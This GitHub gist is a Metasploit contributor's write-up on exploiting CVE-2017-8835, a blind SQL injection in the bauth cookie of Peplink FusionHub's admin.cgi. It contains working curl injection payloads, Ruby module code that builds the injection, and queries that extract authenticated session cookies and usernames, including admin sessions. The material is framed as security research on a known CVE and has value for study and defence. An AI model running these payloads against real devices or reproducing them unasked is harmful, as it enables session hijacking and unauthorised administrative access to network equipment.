Skip to content

Instantly share code, notes, and snippets.

@red0xff
Created August 31, 2020 20:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save red0xff/c4511d2f427efcb8b018534704e9607a to your computer and use it in GitHub Desktop.
Save red0xff/c4511d2f427efcb8b018534704e9607a to your computer and use it in GitHub Desktop.

Writing an exploit for CVE-2017-8835

This is a writeup on writing the Metasploit module auxiliary/gather/peplink_bauth_sqli.rb.

I participated in Google Summer of Code 2020 with Metasploit, and worked on adding a library that would make SQL injection easier to perform in Metasploit modules, while adding support for multiple database-management systems, I provided some metasploit modules making use of the library, this writeup highlights the steps I took to write a module for a boolean-based blind SQL injection vulnerability.

While browsing recent SQL injection CVEs, I came across CVE-2017-8835, after searching a bit, I found it on exploit-db, seeing that the DBMS in-use is SQLite, this looked like a great candidate for testing SQLite injection support.

Luckily, I was able to reproduce the vulnerability on FusionHub, by flashing a vulnerable firmware version, also, because the SQL injection (as reported in the Exploit-DB link) is boolean-based blind, and they are using it just to bypass authentication, so I thought about enumerating more.

The final version of the module can be found here, this is a step-by-step guide as of where I was able to save time writing it.

Analysis of the vulnerability

When looking at the vulnerability, we notice that the injection happens on a SELECT statement, the injection point is like : SELECT id from sessions where sessionid='<INJECTION POINT>';, and it's just bypassing authentication (an admin must be authenticated for it to work), so, I quickly got FusionHub running with the vulnerable firmware, and started testing.

Visiting /cgi-bin/MANGA/admin.cgi with the bauth cookie issued by the webserver:

curl --cookie "bauth=' or 1=1--" http://192.168.1.254/cgi-bin/MANGA/admin.cgi -vv

sqli_true

Now, visiting the same URL with an invalid cookie value (select statement should return 0 rows)

curl --cookie "bauth=' and 1=2--" http://192.168.1.254/cgi-bin/MANGA/admin.cgi -vv

sqli_false

It's obvious that the taken result from the select in the first case is the session of a user who is not logged-in, and in the second case, it worked as if the session cookie wasn't set (as you see, a Set-Cookie header was returned).

This additional Set-Cookie header should be enough to distinguish between true and false expressions, and to retrieve all the data from the database, we have a place for a condition to evaluate,

and we can see the result of its evaluation.

Creation of the SQL injection object

The code for creating the SQLi object is:

@sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
  res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),
    'method' => 'GET',
    'cookie' => "bauth=' or #{payload}--"
  })
  fail_with 'Unable to connect to target' unless res
  res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid
end

The code is very straightforward.

  • The dbms argument is the class that should handle this injection, we know it's SQLite and it's boolean-based blind.
  • Because it's boolean-based blind, the payload that our block will receive will always be a condition, we just have to query it.
  • Our block should return a boolean, if the condition is true, the server should not yield a Set-Cookie header because it would return an existing session, our block should return true.
  • If the condition is false, the server should yield a Set-Cookie header, so our block should return false.

Having the object created, it is no longer a blind SQL injection for the module writer, the method run_sql takes an SQL query, and takes care of converting it to a serie of conditions that will be passed to the block. (Without the SQL Injection library, module writers would need to do the binary search involved with blind SQL injection).

The library takes care of converting the SQL supplied by the user, to a set of queries that

for example, if the user wants to run: select group_concat(sql,'=') from sqlite_master, the library would yield the following conditions:

unicode(substr(cast((select group_concat(sql,'=') from sqlite_master) as blob), 1, 1))&1<>0
unicode(substr(cast((select group_concat(sql,'=') from sqlite_master) as blob), 1, 1))&2<>0
unicode(substr(cast((select group_concat(sql,'=') from sqlite_master) as blob), 1, 1))&4<>0
...
unicode(substr(cast((select group_concat(sql,'=') from sqlite_master) as blob), 1, 1))&128<>0
unicode(substr(cast((select group_concat(sql,'=') from sqlite_master) as blob), 2, 1))&1<>0
...

Each of these queries would leak one bit of information.

First, let's check that the target is really vulnerable:

if @sqli.test_vulnerable
  Exploit::CheckCode::Vulnerable
else
  Exploit::CheckCode::Safe
end

The test_vulnerable method just checks if yielding 1=1 to the block returns true, and 1=2 returns false.

a word about session management

For managing sessions, two tables are created using the following queries

CREATE TABLE IF NOT EXISTS sessions (id INTEGER PRIMARY KEY AUTOINCREMENT, sessionid TEXT NOT NULL, tstamp TIMESTAMP NOT NULL, UNIQUE(sessionid))
CREATE TABLE IF NOT EXISTS sessionsvariables (id INTEGER REFERENCES sessions(id) ON DELETE CASCADE, name TEXT NOT NULL, value TEXT NOT NULL, PRIMARY KEY (id, name))
  • sessions holds the actual cookie, in the sessionid field.
  • for authenticated users, sessionsvariables contains many rows per session, one has name=expire and value being an expiration time, one having name=username and value being the username, and so on.

Plan for our implementation

Let's count the number of existing authenticated sessions, by counting the number of expiration times that exist in the database:

session_count = @sqli.run_sql("select count(1) from sessionsvariables where name='expire'").to_i

So, the plan is:

  • Retrieve the ids of the sessions, sorted by expiration time (newest first).
  • Filter them (if the user chose to only test admin/privileged sessions).
  • Start retrieving the session cookies associated with each id.

Let's start by retrieving the ids of the sessions, sorted by expiration time.

Simplified code:

digit_range = ('0'..'9')
session_ids = session_count.times.map do |i|
  id = @sqli.run_sql("select id from sessionsvariables where name='expire' " \
  "order by cast(value as int) desc limit 1 offset #{i}", output_charset: digit_range)
  # other code here, checking if the user is an admin if only admins should be returned
  id
end

The digit_range passed to run_sql is used to speed-up the process, since we know ids are integers, there are bits we already know, we don't need to leak 8 bits from each byte, by specifying the range of characters, the injection will only leak bits that change between bytes in that range.

I will skip filtering for admins, you will find it in the final module, it can be done by checking if there is an entry having name=rwa and value=1, which means full access.

Now, retrieving actual cookies:

alphanumeric_range = ('0'..'z')
cookies = [ ]
session_ids.each_with_index do |id, idx|
  cookie = @sqli.run_sql("select sessionid from sessions where id=#{id}", output_charset: alphanumeric_range)
  cookies << cookie
  if datastore['EnumUsernames']
    username = @sqli.run_sql("select value from sessionsvariables where name='username' and id=#{id}")
  end
  # more code that is irrelevant to this post
end

Results of the execution

retrieval of cookies

(The error, Login is required ... just indicates that x4J...2Ps is not an admin cookie, it's the cookie of an unprivileged user, but we notice that the other cookie was tested successfully to be an admin cookie).

Not only we reproduced the vulnerability, but we were able to retrieve the actual cookies with minimal effort using the library.

a note about this module: using methods like enum_table_names, enum_table_columns, dump_table_fields might not work because the size of the string embedded in SQL queries is limited (the vulnerable code is written in C, and fixed-size buffers are used), and these methods generate long queries to deal with NULL values, convert (cast) types, encode and so on, for cases like this, we can always fall back to run_sql, which should work in most cases.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment